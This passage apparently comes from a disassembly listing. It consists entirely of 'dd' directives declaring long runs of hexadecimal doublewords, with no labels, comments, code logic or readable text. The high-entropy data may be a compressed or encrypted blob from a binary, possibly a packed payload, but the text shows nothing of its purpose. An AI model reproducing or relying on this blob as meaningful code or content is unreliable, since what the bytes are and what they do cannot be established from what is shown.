85898B2Bh dd 0A51A122Bh, 6A01D5F0h, 2200727Ah, 0E4376F0Eh, 335F15EBh dd 0B27B76A1h, 8093A822h, 0CE951E0Dh, 15E85018h, 0FF0100BFh dd 3141FE5Bh, 8901A874h, 79E427Fh, 39F8AF3Eh, 9D20955h dd 0D0C09DB5h, 0B325505Bh, 0EDCF89DEh, 36C7CFD6h, 0E5AFD021h dd 0B2DA7BFh, 0B8CE63C7h, 2C64CD0h, 7EC5682Bh, 5EF46530h dd 4A67462Dh, 51BB9FAh, 652F7D3Ah, 0FF4AF5A2h, 0B3E37995h dd 0BBC4845Bh, 4111ADB6h, 21D172Ch, 93A100A7h, 1DA0C8EFh dd 6298ED25h, 0D53F58Dh, 25F6ECD0h, 3879CC1Fh, 0F86E582Fh dd 39D700B8h, 7147783Dh, 7E959FEAh, 66574B29h, 0BEF85B4Eh dd 5182B332h, 0F67AA704h, 0FF7A0995h, 7749C76Fh, 2B564931h dd 813008A0h, 399E6B5Bh, 0F8E9E480h, 9705FD85h, 65AB2B3Fh dd 93FF1685h, 0C812F9F4h, 7EF71739h, 7DEC054Eh, 0C160EA0Ah dd 0FE924635h, 0B5330CFBh, 61A52301h, 1E937C97h, 5EB14381h dd 77DF78EDh, 0B04E81E3h, 5E32A2Dh, 0F2C82B00h, 661F105Dh dd 40FFF04Bh, 793B4C94h, 114F1CB2h, 0FA979FADh, 595FA349h dd 80108F0h, 0DC43DC52h, 0EB265Bh, 2E2A6884h, 909535EFh dd 0E6EBED6h, 2B6CC696h, 0C1BF6F60h, 0A29225B1h, 0F02DD50Bh dd 58B75735h, 82C2ED00h, 0BF56F36Ah, 8B42BD7Ch, 254171F9h dd 124CB4D7h, 0B308A1F0h, 97F05AD9h, 0AED85A8Bh, 0B3FB1F65h dd 30E828F5h, 17B30803h, 886D3354h, 6788F7h, 23E7A812h dd 5FB55B0Ch, 0E2F55A5Eh, 35755AA5h, 18CC2F9Eh, 0FFAA302Dh dd 375FEFABh, 287880ACh, 6611D6DBh, 0ACD4BB16h, 17315C8Ch dd 0AF141D85h, 17951FDFh, 3A76CFC0h, 0E49DE552h, 671C0007h dd 22D89B6h, 0C81DB28Dh, 0D1174CF3h, 14C16B04h, 8E88E3BBh dd 0F7221C40h, 0B076943Dh, 0AF30ED2Ah, 7A3BE14Ah, 24AB4EDEh dd 510DAF54h, 8DD95BE1h, 61004B6Fh, 7676CD57h, 12D91556h dd 10046310h, 55B643C5h, 9C2863E0h, 1501D67Bh, 534BFCBEh dd 6AC6BD33h, 3145FFEh, 80F98522h, 972AA1E7h, 0E6471D1Ch dd 0E3896AE2h, 0B57FC592h, 80199117h, 3B06E5E4h, 9D0A4B5Bh dd 0A8572933h, 0A9062FF3h, 0CBC07D7Eh, 5B77A162h, 977FBE72h dd 72DAC0Eh, 7B82F83Fh, 53E0FD64h, 3A00C6D1h, 0A2DFE6B6h dd 0B88D5B19h, 967571A6h, 25C4F95Ch, 78817365h, 7275B3F5h dd 0B59BC50Bh, 0C248421h, 9D167056h, 94950B11h, 0D5954B42h dd 8AB6ABE2h, 83B7BDA4h, 90169B10h, 92AC62Ch, 0F8301A78h dd 49764D7Dh, 2602D34Ch, 0D1015957h, 6CC17DFAh, 71213068h dd 7D9D074Bh, 0E85B343Ah, 4AC54AFEh, 9F276E7Bh, 0D0D8741Ah dd 0BD139095h, 70978614h, 0AA065B89h, 0B5C18267h, 0F86E0781h dd 2C0DA1AFh, 1D174B0Ah, 0DA196C89h, 1E8D203Eh, 0D700450Dh dd 9649183Ch, 0BC1CAEBFh, 0B7436FD7h, 0BAF45029h, 0A280E99Bh dd 2B7D8509h, 6023D695h, 0BBA32E1Dh, 76603704h, 0F3BB5FA5h dd 38F4D346h, 91604F5Bh, 34C9BD4Dh, 14976145h, 0B9794B17h dd 3C5ECEAh, 37B0F705h, 968A59BFh, 3E0061E6h, 0C0CA44C6h dd 0FE6426h, 0B217D114h, 0D092D63Ah, 7D50542Fh, 96DFCD98h dd 6B791C93h, 2B84206Ah, 7100D67Bh, 5372D7CBh, 75743Ch dd 0EFF6FC5Bh, 1DAAC45Ch, 0A8F8FF5Eh, 0C71501AAh, 63380AB2h dd 146C6760h, 0DD8B0FDCh, 0D5875089h, 5F178831h, 0B64AC4BCh dd 99B5091Bh, 364D5D07h, 6053C9h, 0F38389B4h, 0D1129C19h dd 61BEBDCFh, 7A0E8BFDh, 999D5321h, 620107E2h, 55291A41h dd 159148B5h, 51908A82h, 4B25E67Dh, 386F8A5Fh, 437A5B53h dd 0DFF65225h, 5ED7769h dd 0A83EC49h, 2DB8B21Dh, 892496C9h, 0B0172B2Ah, 9DEB38BBh dd 2F1E7922h, 0B75FF385h, 2F668175h, 4237BC6h, 0B416EABh dd 60FC6EC4h, 5FF00E96h, 690DD781h, 414A385h, 1E0FF1CAh dd 9198F97Fh, 0EF67A213h, 3FD91F17h, 0A292177Dh, 2B580C1Fh dd 0C0F01AC2h, 388166F2h, 82B85A4Dh, 0C0AC124Ch, 0D0033C50h dd 653A7681h, 0A4841945h, 3FE12D78h, 0D9E90C06h, 4C8BE44Ch dd 0A910F7C8h, 40030C30h, 0DC064F3Ch, 3C1350C2h, 12C4FA8Bh dd 9B1E16B1h, 1C095BF8h, 2DD1030Ch, 0DAE33344h, 2790208h dd 988F6402h, 4FC483E9h, 51568804h, 10B98B50h, 0B0A98114h dd 59B56014h, 94C3C033h, 32291304h, 5F2924ABh, 689237D1h dd 2E50E1BFh, 6BB69AAh, 4B708FEh, 0D3491A54h, 5D40E5D4h dd 79641h, 63FBA866h, 2DD4F7D9h, 328A9F00h, 810EAEC1h dd 0FD6904F6h, 0F25F6118h, 6E0C008Ch, 4BF0CAD4h, 74469F97h dd 54C7810Dh, 852C2668h, 0BB32BB8Eh, 0F044F0h, 0B4255CDEh dd 8B43BA54h, 81634A03h, 92A7F2h, 7BBB660Ch, 0F37FF17h dd 15EE33FBh, 42B59DEh, 365AE1ABh, 66A6FAh, 0EAF8F181h dd 0EEF907FFh, 9EBF00C1h, 1ABE455Fh, 117B1279h, 0C6D0E91Dh dd 77603D89h, 0BE12C2E4h, 0FF0140EFh, 5161EC8Ah, 93E9302Bh dd 0E4034906h, 25F7E0D5h, 6C9898FDh, 5BDF0495h, 80078F1Eh dd 0EF83C033h, 0DD80014Bh, 0D44FCE6Fh, 0D47BA702h, 8A24744Fh dd 66F88358h, 509FEF5Fh, 37ECCCC4h, 0D2BF5B0Fh, 146C3E3h dd 7C3CD028h, 4CC20EDCh, 8B802F0h, 1F0233E9h, 0A2C93776h dd 0F308C023h, 0DC9B0722h, 0F06EB86Dh, 0F2EEE642h, 0E9FFE400h dd 14D4C78h, 0A241C0C1h, 5B94BCF1h, 0ED0E1BEEh, 8C1C0843h dd 78121A9h, 0BE68BCF9h, 0FED4E062h, 204CA153h, 31A0C3Ah dd 6C229C7h, 0FA9FFFE2h, 2C391148h, 0AE6C2C52h, 0CBC6CD03h dd 3308303Bh, 2C4A0621h, 0AA6C2100h, 0F689C191h, 0FB3418E8h dd 7EE6582Eh, 0FA0692E8h, 1FDF3684h, 0B6CD0AC8h, 38CC316h dd 3B2F561Dh, 0F1D81862h, 0B0E35Eh, 0E48C5910h, 0F06BD6FDh dd 1A9B0907h, 28146AF8h, 1ED1A580h, 15276A4h, 7123AAB1h dd 0F4292110h, 0E000CDBFh, 968AAB5Bh, 3BE907E5h, 0E2004B87h dd 886B49ADh, 94765A91h, 8046163Fh, 105426CDh, 0BEF874h dd 3177951Ch, 0A3A9AA9Bh, 1FFA6B00h, 0BB5F289h, 0AB37002Dh dd 93E95435h, 0A107AE79h, 2394E37Ah, 612A86D0h, 0FBCC000Bh dd 55446996h, 0AF3AD76Dh, 477800B2h, 0F045C69Fh, 0A4B90635h dd 8B13C43h, 7C218760h, 718B45BEh, 0A8890C88h, 0BF187AD7h dd 2A841A00h, 7DCF7133h, 6A5900F8h, 0A56CEE10h, 6EF04CB4h dd 0F65E4400h, 17B57C0Bh, 0BF2D0784h, 4C4660C0h, 5A1E6760h dd 5B81DE30h, 73B88451h, 21320898h, 301F4206h, 0E5053B52h dd 5C01CF89h, 8271F851h, 0C8F3AFCh, 0F565B0ADh, 780C9798h dd 0A970D4F4h, 86DB004Dh, 63ECF658h, 0C466EEB3h, 218308h dd 6186D3B2h, 0E0CECB50h, 5092F130h, 66940434h, 9147B890h dd 163C0DDh, 0C0DF3045h, 88341843h, 30184D05h, 76B0CBC2h dd 55E0109Ah, 0F7A8648Ch, 0D486D061h, 448CC4F6h, 0C800AD87h dd 0CBBB8A86h, 7EE1C9h, 2BE9F07h, 72D56D90h, 0C4BF3004h dd 2C01F3B6h, 8E8F3414h, 80FFCEC0h, 995AC175h, 0EB2D0056h dd 1AF18CBDh, 97000689h, 0A26A7A4Bh, 2204B3h, 0FC5698E5h dd 8C2ACE5Ah, 8319D107h, 0B3209F94h, 6E4591h, 0D94BB0A4h dd 0A5615ED0h, 0E62DC500h, 57880B44h, 0CD78000Dh, 87F09A75h dd 0A0007E24h, 9C479D0Ah, 83C40Ch, 3F0BE258h, 0BB68666Fh dd 5962AC00h, 253D4576h, 3919002Eh, 41FB2812h, 350427FAh dd 0DC182A66h, 0D591B980h, 0FE6901F0h, 0EB9C083Ch, 0C8D6D014h dd 0A0B48100h, 0E4EA6660h, 0DE210F24h, 28E01ABAh, 1B2671F2h dd 807730CEh, 59AFD170h, 0AB50015h, 66427349h, 0BB019C98h dd 2BDA99B8h, 70E01AB7h, 739C020h, 7A36B93Eh, 0AE66B100h dd 836816A3h, 0B421C015h, 29B0B513h, 6B45F500h, 97F948D7h dd 11C7189h, 969A4650h, 0FDA481F1h, 42F8DF18h, 86F81A71h dd 0CD210600h, 2DD3F554h, 0DB680287h, 0BE65A5F7h, 75747860h dd 8045F43Ch, 115585A0h, 71CB1E3Fh, 0CE083A17h, 0B5BE8960h dd 910DFB79h, 604B220Ah, 3E8A4ECh, 9004525Ch, 1900C9A2h dd 0F337949Ah, 0EE129BE7h, 7BA8A839h, 3B62EACFh, 1F6A213h dd 0B4EE7195h, 873DA179h, 2208B169h, 0D1D32391h, 0F2A7AFECh dd 0A90E63Bh, 1B9F4B51h, 8E15808Ch, 1E3EECE5h, 14C7A107h dd 0A3509BD8h, 0E9D79Dh, 0A649F37h, 0A5A061C2h, 5246B200h dd 7283C9B5h, 0E6DC0235h, 0CE973DF5h, 0A6C7E3E0h, 5F24D2C0h dd 3302C8D2h, 4E09E7ABh, 0ADFC2100h, 0F4F34D24h, 82E107E3h dd 0F0A9BCFBh, 0A62B5D85h, 0B4F8550Fh, 9E13215Eh, 6887BB2Ch dd 0FF630BAFh, 3DE16160h, 11EA0656h, 2905C600h, 733F5EB3h dd 8B0F0643h, 2049C989h, 0E7E0A605h, 203C5B96h, 7B2C4628h dd 4D7A3110h, 3A799706h, 0F246E9DBh, 4224DD02h, 403180D2h dd 24A51B10h, 9DD2DA05h, 9800ACF9h, 0B4B3B646h, 0FE9000BFh dd 0A1976E61h, 0AA037E3Bh, 0AC478869h, 0BD46883Ch, 4CAF01F5h dd 897DDD9Bh, 0C735C475h, 0CFD0970Ch, 6E54C8C6h, 4BAF0856h dd 34167660h, 0A1008562h, 0D3138207h, 0C745FF3h, 51145784h dd 0B518DF99h, 0EE909421h, 0E5C61E13h, 15E8603h, 511D8107h dd 78792Fh, 46AA3AA7h, 0CA82B4h, 6B8329D9h, 0E27FA9B9h dd 709689C3h, 0E91890FCh, 0C46300F4h, 447EB8BCh, 9705A750h dd 3F8D8AC1h, 0AD1A846h, 633C1688h, 18651831h, 0EF0CA729h dd 0A867E0E2h, 21C61FE7h, 0C4BA439Bh, 33A040F0h, 2B632957h dd 0E53DF2C9h, 24DFC860h, 0B0D22338h, 11004111h, 8B5424A7h dd 0F8C4EAF9h, 3487C5A9h, 0BA410E10h, 0AC621884h, 5DB1883Ah dd 0FF1BE80h, 702CE8Eh, 0A130E186h, 0D77FD00h, 84BC8AA6h dd 6CCE0564h, 0EA73FB5h, 17843DA0h, 90389754h, 0D1905D67h dd 0C9CDE58h, 86B4608h, 621C0B2h, 7A2A9056h, 41A3AD1Fh dd 0BC0A9834h, 7C02DC3Fh, 0ACC4DB97h, 0F7A9A09Ch, 268C0004h dd 7B7215CEh, 86206460h, 607F5FC6h, 0A81C310Bh, 61015CEBh dd 89508B4Ah, 16D18AA2h, 0EFF72180h, 98336BEBh, 915D8805h dd 5BC32E48h, 728800B1h, 0CA67A5C6h, 22401DBh, 0D300D8EFh dd 760C2AB5h, 2DA70635h, 30B055CEh, 0D9590133h, 0E49EE008h dd 0DA5200EEh, 14ADAAC5h, 457FB669h, 0A72B3972h, 47019401h dd 22DEDF90h, 0A088AE18h, 4F90015Fh, 52AAAF64h, 101C22D8h dd 2D043ACCh, 8004C5D6h, 40CE8968h, 0D00E263Ch, 0C640FCA0h dd 0DD521209h, 253C0053h, 62410AEFh, 57B65C02h, 4A09772Ah dd 0E46C4530h, 5B73604Fh, 36340259h, 0D89632Ch, 0C38D2468h dd 0ECA45DEAh, 0DC0D7F78h, 41162958h, 0F1A32458h, 48C2A08h dd 0DED69044h, 9238675Ah, 8E340005h, 0D7AA10Ch, 0E2B8AF00h dd 9ABC45FFh, 65552402h, 0A10E0968h, 11A82B0Ah, 95D53A56h dd 7A435BDh, 51AC8225h, 880FD4h, 0DD8A1B2h, 90084318h dd 0C442DED3h, 5BA440B1h, 240EBE90h, 6218D664h, 4AC7DCh dd 0B3919497h, 11DB5A80h, 4490CC66h, 938EFE01h, 86B519C7h dd 8B509030h, 985944BFh, 0EB50AA84h, 84933AC7h, 0F50E1011h dd 9EC0EBF1h, 730607D0h, 4E544D01h, 5EBE3209h, 2F263A8Fh dd 1E229C54h, 71E67F37h dd 7512A0FFh, 6880C0h, 26A1B47Eh, 881435EFh, 69C7DB7Ch dd 4EF632C3h, 37EF1951h, 105BB8F4h, 99CEA7DCh, 0A84400D8h dd 6B06874Fh, 922DAB3Ch, 24185B7Dh, 0E772F9FCh, 48078442h dd 8135EC2Ch, 9D671002h, 0F88E4CB5h, 19284726h, 101220D4h dd 40796DD5h, 90CF4188h, 698981E3h, 1F07CFB5h, 15E148E0h dd 750CE0Eh, 0FD88EC7Ch, 9A1E0F74h, 5BA0CFBAh, 7E8A4076h dd 0C5FAE005h, 0E020014Eh, 13D708C8h, 3356481h, 0D6471248h dd 735824B8h, 6CE95002h, 46C644DBh, 71109180h, 14D518B0h dd 88BAB387h, 99D0CC00h, 1ACFF57h, 0DD2982E9h, 6409AFB2h dd 88D87FA8h, 8CECD914h, 23018EB0h, 0E85B2DD1h, 62FCE757h dd 5C9E7789h, 0D6071C0Ch, 30A8365Eh, 0F15A0344h, 29638400h dd 0A9BDC182h, 852F0035h, 60D95DCDh, 8B1C9FD6h, 83BDAB1Fh dd 0FEAE1190h, 6D400637h, 58F7D7D9h, 8BAC731Bh, 0EE95D840h dd 64CB48FCh, 0ED005C23h, 0F26105EBh, 0E554868Ah, 9400CE9Ch dd 51CF53EBh, 1360FE84h, 47C938Dh, 674E94h, 99454A5Fh dd 0ACFCA184h, 9AE99089h, 43CC5090h, 0AB4EB515h, 6734058Ch dd 800BFB9h, 0ED4B0F86h, 0E813062Dh, 81B2562h, 65218460h dd 2AA4B2Ah, 2F6FFE43h, 0F8C098C5h, 0E7805D66h, 0AFC305B8h dd 8E5739AEh, 0C0B28804h, 39140B84h, 670F5E05h, 8043FE7Fh dd 9075B0C9h, 1AD9E8h, 411BB6DFh, 0C6B90E8Bh, 5758CEEAh dd 0FE3D1058h, 0E6DCD101h, 8EC56D6Ch, 0A62B8F61h, 0F220B351h dd 0C4AE5C12h, 68C111h, 0F4AC423Ah, 2044A713h, 0DE0AAA63h dd 0E034F229h, 609DD30Fh, 0C83573B8h, 0A5F803DBh, 0C27EE1E4h dd 983C2007h, 200A56AFh, 8CC4C978h, 0B094BE2Ah, 97E6470Fh dd 419BC0EDh, 902EB4BFh, 2554614h, 6102EBEEh, 10E4319Ah dd 3EB95C9h, 0F48EB16Fh, 29E0DC52h, 80C6130Ah, 2090AE6Bh dd 0D50FC16Ah, 4C01FB7Ch, 9007100Eh, 0ED8E025Ch, 5FCE610Fh dd 4F800C6Bh, 6A00E3D1h, 0F103DA91h, 95E8F60h, 95296DD2h dd 11EC380Ah, 9038800Eh, 0B13ADED2h, 50A1C024h, 5303AD90h dd 85453262h, 20480482h, 0C3E6962Ah, 0C6D29880h, 45D10C51h dd 2574E218h, 86A84A00h, 79976A50h, 2A1F055Fh, 0C8BCEA6Eh dd 0E700A6B8h, 9F24706h, 69CE94CBh, 6580194Dh, 0E1515C4Bh dd 883BE300h, 950C9091h, 6C3A00B2h, 19DBB353h, 50C3F9AEh dd 0B1C8D605h, 0A846C0A6h, 149646B8h, 159C24D1h, 0C35C03A0h dd 0B824B927h, 141580Bh, 0D342934Ah, 0ED9DC846h, 0C190448Ch dd 503CEE10h, 9E313FD8h, 50C03248h, 48CACE8h, 2DEE4B04h dd 2690621Bh, 101DE66h, 0DD30D505h, 0BC569229h, 19C80DB8h dd 4010EC4Eh, 0C9BABB14h, 8E00A798h, 0E82D382Fh, 0C041A42h dd 5028F8A8h, 22008530h, 0CC0118D6h, 653A5Ch, 9842B26Dh dd 0C532DEA3h, 2DB5DA00h, 3F88BEEFh, 0E5D80096h, 0FA289B23h dd 2C01E44Dh, 6D91BC71h, 4E600899h, 0FC3E005Bh, 0EC2DD742h dd 9C6001A8h, 0DC5F3230h, 38731C3Bh, 28669DFEh, 67D6000Ch dd 5A74DDEDh, 440E654Dh, 27E4CE23h, 8BD09B16h, 19B7C4h dd 46A0922Ch, 0BDB9B1ECh, 0EF41C012h, 0CA854D03h, 0B8880042h dd 9F246992h, 0B20054E8h, 2C70C94Fh, 47746A1h, 5B38AFACh dd 0EB2A8134h, 0D68D30D0h, 8DE96F00h, 6C32074Ch, 0A02D5A90h dd 9C063427h, 0A4A87A44h, 8FCB0661h, 11D32481h, 0DADE4000h dd 48F8C811h, 5F730704h, 0F0BFB3DFh, 5D77D67Ah, 9B586EE0h dd 32017253h, 0CA30F793h, 8CDC953Ah, 0DC460121h, 34483BF8h dd 0E827CC03h, 2D35F400h, 882C4E98h, 785F7449h, 3F393A91h dd 4BD9B201h, 0E459FFB0h, 0FA003C2Fh, 0CA0B2ADDh, 0F9FE8A93h dd 1FB910D0h, 0F90B3A7h, 0A20391AFh, 17C0BE22h, 0BC63BBB2h dd 0C3AE2C28h, 0C1610336h, 6785818Bh, 0DA1D4180h, 0FB2D1600h dd 26B83C59h, 0ACE81866h, 9AAA2296h, 903E5E1Bh, 2A20F428h dd 30074515h, 0C52E95CEh, 36E0903h, 1F9E9F78h, 0D143121Dh dd 47AF181Ch, 0C02ED819h, 0B50AF1C0h, 98C8E890h, 0EA0B4087h dd 5AE0D53Fh, 9DDDA91Ah, 185C1521h, 5B5EE828h, 2DFC0F00h dd 0EB82585Dh, 49A90643h, 0D8D7B19Fh, 33512C00h, 9B9105DFh dd 0BEBB00D9h, 1C06680Ch, 1418F220h, 47B13EFCh, 86900095h dd 2068D19h, 3C01F908h, 8113560Ch, 508C998Fh, 910897FCh dd 5F63A307h, 15300A57h, 680516h, 4430BEC2h, 273359D4h dd 9CD11106h, 79D2D9h, 0FCEBA49Eh, 84615E65h, 0B2A02A50h dd 2A932C44h, 0E2984528h, 773F249h, 0A4D54B70h, 9607D002h dd 9303A668h, 152595D6h, 0A79D610h, 21FBCA1Eh, 9840824h dd 0B783F0Fh, 0D45401FCh, 0C180A0C9h, 0BBED23C8h, 9A3F2186h dd 1E8595E9h, 68A900ACh, 44E6EE89h, 97FE0620h, 38E37BD6h dd 390A9000h, 0E14B80A9h, 432000A5h, 0AD193325h, 9EE8CF7Bh dd 0A7E4DD1Eh, 39E1FF82h, 11C4353h, 0B042E318h, 50A9BF4Dh dd 3F30ACD0h, 0A2C22900h, 1E498C8h, 9FF4EA49h, 3C47DDE0h dd 41566C07h, 0D424CA1Fh, 9D951880h, 63890CABh, 56D1F2CEh dd 598AF807h, 5421876Eh, 0D6EC5AFFh, 0F95C001Ah, 12680B19h dd 7750B510h, 0D5076398h, 0DC02AA37h, 22FB4F10h, 309041h dd 0AEFDFD0h, 16736944h, 1B00D1F0h, 0B55747CEh, 0D4DE18h dd 542ACF1Eh, 2E74C0EBh, 0F9ED5B00h, 0A128E98Ah, 0D02C00C7h dd 49E69F26h, 0FF002FBDh, 198848DFh, 7962D911h, 0C98E1E4Fh dd 0AEE6C035h, 0FEDC3E53h, 16F513Fh, 0ACA4FBA0h, 0F970E090h dd 0D96600F9h, 17F5DDB3h, 30123BAFh, 7A0036ECh, 0ABC66D56h dd 0FCBFEE6h, 0F865A135h, 197B8CA0h, 1C00954Bh, 928EBF06h dd 0EFBCF5h, 3F092057h, 33289D01h, 0FB3E547Ah, 0EC5D9F5Ch dd 0D0008213h, 490DA52Dh, 6B310135h, 9AB5ED4Dh, 5F43C8C4h dd 0EB726F0Eh, 0E2D9018Eh, 2605B01h, 2D880119h, 14364A37h dd 0BC398030h, 9D2F13Dh, 4C123CBFh, 0B596800h, 25D9195Fh dd 0FD053E00h, 331B41BAh, 52AD0051h, 9A17D00Ch, 3E07F8B6h dd 29AB08EDh, 0C65855F0h, 0DB8000C8h, 0DD0F3C6Bh, 1500C96Dh dd 0D5B2741Dh, 0D74410h, 0E75D96BBh, 612CFA22h, 0FFB50510h dd 198CCA01h, 0DC161C21h, 45310C67h, 0C9CE309Ah, 786E9C4h dd 4BC77C33h, 6694049h, 0A90E3097h, 406209C6h, 4DFCF3E4h dd 91B400D5h, 0D31F038Fh, 891895D8h, 0ED69C106h, 316A0CC7h dd 98100728h, 720745F8h, 6849D89Eh, 0EDE58600h, 46B40038h dd 90A6A92Eh, 4A00587Bh, 674E89B8h, 0E7D33E3h, 0E1CC932Fh dd 0B22365A1h, 54E6F8D7h, 6BE769C0h, 1D85E5h, 8EA6C131h dd 0D57B7210h, 4F7E471Eh, 0EFE05D99h, 28E63C56h, 0F6C80C7Ch dd 457400D7h, 95D39D97h, 87000EA6h, 0CD63C3FEh, 1FC8F6ABh dd 0C14A5A32h, 292573F9h, 5C402483h, 6D844400h, 97EB772Ch dd 0F8A8F27Ch, 0C35EFADDh, 907DA5B8h, 2C0748F0h, 0A8E05800h dd 0ED400E33h, 807907D0h, 500D28D3h, 0EF6A504Dh, 0F70352F6h dd 979D4006h, 98BE837Eh, 0A0E6E576h, 1FDB8ED8h, 150B4C33h dd 3500F4B5h, 64F80775h, 820186B0h, 0D355AB1Bh, 0FC48036Fh dd 60EC75DAh, 538B831h, 0AC004DFBh, 0F421CDB1h, 5491D9h dd 60F90DEDh, 93C26564h, 738D2E38h, 364B9D0Eh, 822E026h dd 3E496Ch, 86CD745Eh, 0C6E07C50h, 93201800h, 6AF2134Dh dd 70D700BEh, 0F06C0D10h, 0DA00FCABh, 24180779h, 78192Fh dd 70DEBB67h, 3F776542h dd 8AD1A200h, 9630E8B2h, 0EC0800BDh, 0F2A75358h, 1018A818h dd 54F13DC3h, 2EA4004Eh, 0C07FAF6Fh, 0F500D495h, 0EC061437h dd 3B9D45B0h, 0FB7DA6h, 5EFC2531h, 83945BBEh, 11BA7807h dd 0F817D77Fh, 0E96B0870h, 0A10B3CB8h, 0AAEBD502h, 8FC03ABDh dd 4D00A541h, 0AE5EB98Ch, 1FC78DE1h, 80163DE7h, 5838837h dd 0F6A06FFEh, 0E2004043h, 254F56DFh, 26AA14BFh, 0C9AEA8h dd 5487C771h, 7F24ABC2h, 9F40985Eh, 4F55FAh, 84B56327h dd 96EFD08Dh, 0E3133B03h, 0B853A6A8h, 0A8A1838h, 0BED4D5E4h dd 759D0080h, 35A60439h, 60A4C1Fh, 5A336840h, 0FAB1687h dd 0B2FF075Fh, 0A7AF7060h, 0C4002620h, 0DC28B118h, 1E8243A2h dd 0C14C5Bh, 9B458CE9h, 6B395E01h, 0E40580F0h, 3DB43EC8h dd 0E2B30022h, 33B8ECA5h, 0FD002AB6h, 7FFE56A9h, 1E86074Ah dd 0C5FB758Fh, 87F9EAh, 0AFC07784h, 0B50037C5h, 0FB54E0A7h dd 0F89F41h, 0C4DCBEFEh, 2C9449A4h, 26B5AF3Bh, 92B840FDh dd 0A80470CAh, 0FC90AC24h, 0E05D30C2h, 107F60EDh, 47F69C3Ah dd 0C974A109h, 0EC08F82h, 58910587h, 0BFCEFD03h, 0B4C0ACE2h dd 7219D228h, 6663007Dh, 73350F81h, 900923Dh, 80DE7EB1h dd 2AA940h, 0D249E542h, 478D8E9Dh, 9A00DC98h, 0C0ABE383h dd 4D3E655h, 2704512Eh, 80A88745h, 1A9D67D5h, 75C05E60h dd 851A7E7h, 7B7ED036h, 0E64A3480h, 5039303Ch, 546D410h dd 0F9AB7CC0h, 791D8031h, 209894B7h, 0AEB61900h, 8DE8F071h dd 78890E43h, 38004A2Bh, 7B98D2C0h, 0C85F6F00h, 695E8F22h dd 0EBC70075h, 70FD39F7h, 66E4D4C4h, 6A00B2E6h, 54F181BCh dd 2B7175h, 6436E645h, 57507961h, 0DCB01317h, 0FCF97709h dd 35160705h, 5DA64020h, 34007A12h, 78A5B897h, 0E2674h dd 550AEEDCh, 0BAD540D9h, 6552C000h, 24685BC7h, 0EC5F7081h dd 22910F9Dh, 53407DBBh, 0DEC5BF84h, 0F00F04B8h, 0E0394807h dd 0D093E369h, 215007F2h, 0E037979Eh, 0E5DA0EAh, 17780576h dd 9C1B8E00h, 27777052h, 0CA1A036Ch, 665D2ECFh, 0D77E92E8h dd 0EC05C998h, 0C29C3951h, 1DD5C607h, 9FCF1130h, 28A10093h dd 0B1921E01h, 0A507C589h, 0AE263F13h, 485AEC42h, 425D3Ch dd 7B62880Ah, 0F0127003h, 91ACD50Eh, 0FCB701D9h, 0F824805Ch dd 0F6B9392Eh, 0AEA0968Eh, 0F71E5520h, 0F478DC18h, 0FC118A00h dd 0F38CAF05h, 8FC50E5Dh, 0CA80213Fh, 0AC409073h, 0A2BD70C2h dd 1D4CC89Fh, 7FAE0E22h, 5A8E4A1Bh, 0EA1A7181h, 2121809Eh dd 471D4B59h, 16E6003Ah, 93F039EFh, 960085ACh, 0D45104FEh dd 0B82962F9h, 837300B1h, 0E7EBAEB5h, 6400C9BDh, 0E30FE54Dh dd 3F47E6AFh, 0E0CC6A29h, 2680592Ah, 33784B05h, 0EFE867B0h dd 29C09384h, 1A7B1B94h, 2158A0A4h, 1D40189Bh, 0FB89037h dd 28A4D0E8h, 64A88C00h, 0E0185D99h, 0CA7C1C98h, 1CE5807Ah dd 15A9FC8h, 43D3BB00h, 63D54507h, 10DD00A6h, 3D2BFC51h dd 0D41C78D8h, 0A5404AF0h, 0C2F90E9Ch, 6083004Ch, 0CCFE174Bh dd 852AE6BBh, 7A00A841h, 0C5F56143h, 655A3E97h, 40A609BDh dd 616BDAF0h, 4700FE2Ch, 648DF0FAh, 7D8E6E8h, 9A0B6A0Fh dd 810C94Dh, 0A400D03Dh, 0B7BEEC75h, 0CC8EC49Eh, 1F216F08h dd 64A4C801h, 0EEB6A209h, 77858C51h, 0E4E80AF8h, 82E200C9h dd 2D0F24AFh, 3B00D5FAh, 0F93915CEh, 188B59BAh, 38436257h dd 0EA185D7Ch, 3649A1B3h, 460F01F6h, 0D7AE1A1Bh, 0F1099815h dd 2DD621h, 0ECB55A0Fh, 8BA796C1h, 58114B02h, 8CCE6DA8h dd 0E98360D4h, 48CD408h, 1B4C0FFCh, 5E38612Ah, 0F143400h dd 74BF3900h, 3B3E3689h, 0A5720A47h, 0BBA838DFh, 6F230201h dd 0D9FB9D4Ch, 8C44444h, 0B9C05AA4h, 46EC78A4h, 6922B6h dd 0ABA4D110h, 1B45DF2Dh, 0BEAE5A00h, 0C943FD1Fh, 3D6E079Fh dd 72683E4Fh, 0F8B083BBh, 0FC116146h, 79884FC5h, 616E7D83h dd 75B5A010h, 0C36C0021h, 168CDE54h, 7960B070h, 0E517F560h dd 0C81869CFh, 49684500h, 6214F6F2h, 1C98F4D5h, 0DDC0769Bh dd 4E3A1716h, 39DE3A3Bh, 5021D430h, 0C9009B2Dh, 5B8FD1A4h dd 1E7A733Dh, 0C0294F32h, 510985C5h, 0CD19E08Bh, 2F6042C2h dd 0BAE67518h, 394F1610h, 1CF383C4h, 1AC0EC9Ch, 4A143D50h dd 0C12A0D37h, 885881F1h, 16AF7C0h, 0DF82C27Ch, 0E0282689h dd 9FFB844h, 5F4C66BDh, 0A8962007h, 0C1F1550Fh, 0FDDB4B8Eh dd 525D7230h, 131330DFh, 12600A0Fh, 2AE15030h, 3C2B0F00h dd 0A5B675DEh, 64745DD0h, 5B32C506h, 2914C04Bh, 23903D05h dd 14802014h, 90E716DFh, 37AF7EE3h, 370E80B6h, 3B08F802h dd 9851E1h, 0B056E5D8h, 8CA1A44Fh, 480918D1h, 0E2293C0Fh dd 20DF405Ch, 8CF0260Fh, 7F2C8D49h, 6836EE00h, 532AA223h dd 0EA7CEC39h, 475C026Ah, 9C4AC16Dh, 50B4C848h, 2D215498h dd 61588186h, 185FC5FEh, 4083887Ch, 0A3236100h, 43DF0FD0h dd 0A9293856h, 510ADC8Ah, 2C202D0h, 0A48E5C8Fh, 2F686411h dd 8617260h, 8899C57Bh, 61A181C7h, 4EF4B9DDh, 2500006h dd 0D0C78A1Fh, 431F7E65h, 9DC32762h, 2351084Fh, 4C013160h dd 7FC51261h, 8F889E18h, 0B610A94h, 40B8E631h, 88EDC93Bh dd 0B19D50DDh, 215E5464h, 0F7805E3Ah, 96C769CAh, 62C812A4h dd 571440AEh, 92A6DE98h, 5801FFEAh, 34C26869h, 4C30535Bh dd 0BC048C41h, 